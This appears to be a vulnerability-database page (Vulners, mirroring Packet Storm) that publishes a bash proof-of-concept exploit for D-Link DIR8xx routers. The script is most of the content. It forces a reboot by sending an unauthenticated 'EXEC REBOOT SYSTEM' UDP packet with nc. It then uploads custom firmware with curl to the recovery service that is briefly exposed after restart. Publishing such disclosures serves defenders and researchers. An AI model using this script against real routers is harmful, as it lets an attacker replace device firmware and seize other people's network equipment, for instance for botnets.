Lucene search
+L

D-Link DIR8xx Router Firmware Upload

🗓️ 15 Sep 2017 00:00:00Reported by embediType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

D-Link DIR8xx Router Firmware Upload via System Recovery Servic

Code
`#!/bin/bash  
  
# If you have access to an ethernet port you can upload custom firmware to a device because system recovery service is started and available for a few seconds after restart.  
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin  
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/update.sh  
  
FIRMWARE="firmware.bin"  
IP="192.168.0.1"  
while true; do  
T=$(($RANDOM + ($RANDOM % 2) * 32768))  
STATUS=`wget -t 1 --no-cache -T 0.2 -O - http://$IP/?_=$T 2>/dev/null`  
if [[ $STATUS == *"<title>Provided by D-Link</title>"* ]]; then  
echo "Uploading..."  
curl -F "data=@$FIRMWARE" --connect-timeout 99999 -m 99999 --output /dev/null http://$IP/f2.htm  
break  
elif [[ $STATUS == *"<title>D-LINK</title>"* ]]; then  
echo "Rebooting..."  
echo -n -e '\x00\x01\x00\x01EXEC REBOOT SYSTEMaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' | timeout 1s nc -u $IP 19541  
fi  
done  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Sep 2017 00:00Current
0.4Low risk
Vulners AI Score0.4
29